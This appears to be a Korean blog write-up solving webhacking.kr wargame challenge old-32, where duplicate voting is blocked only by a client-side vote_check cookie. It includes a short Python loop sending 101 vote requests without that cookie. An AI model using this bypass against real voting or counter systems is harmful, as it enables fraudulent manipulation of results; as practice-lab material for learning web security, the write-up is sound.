
1. 문제 정보
- 문제 번호 : old -32
- 문제 점수 : 15점
2. 문제 분석

들어가면 HIT 랭킹표가 나온다. 닉네임을 클릭하면 이미 투표했다고 나온다.

버프스위트로 패킷을 조사하면 cookie에 vote_check값이 ok이 되어있다. vote_check을 바꿔서 투표를 해보자

3. 풀이

cookie값을 빈칸으로 제출했을 때 투표가 성공하고 hit값이 증가한다. 하지만 성공했다고 안뜬다.

hit가 100번까지 있으므로
자기 이름으로 100번 넘게 hit를 요청하면 성공한다.
import requests
url = "https://webhacking.kr/challenge/code-5/"
params = {"hit": "내_닉네임"} # 본인의 닉네임 입력
cookies = {"PHPSESSID": "내_세션_ID"} # 로그인 세션 ID
# 100번 반복 투표 수행
for i in range(101):
# vote_check 쿠키를 제외하고 요청을 보냄
response = requests.get(url, params=params, cookies=cookies)
print(f"{i}번째 투표 완료: {response.status_code}")

4. 요약
- 투표 시 vote_check=ok라는 쿠키가 생성되어 중복 투표를 막는 것을 확인했다.
- 이 쿠키를 삭제하거나 변조하면 중복 투표가 가능하다는 취약점을 발견했다.
- 파이썬 스크립트를 통해 vote_check 쿠키 없이 100번 요청을 보내 점수를 채우고 해결했다.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-54 문제 (0) | 2026.01.21 |
|---|---|
| [webhacking.kr] old-24 문제 (0) | 2026.01.20 |
| [webhacking.kr] old-14 문제 (0) | 2026.01.20 |
| [webhacking.kr] old-17 문제 (0) | 2026.01.20 |
| [webhacking.kr] old-06문제 (0) | 2026.01.20 |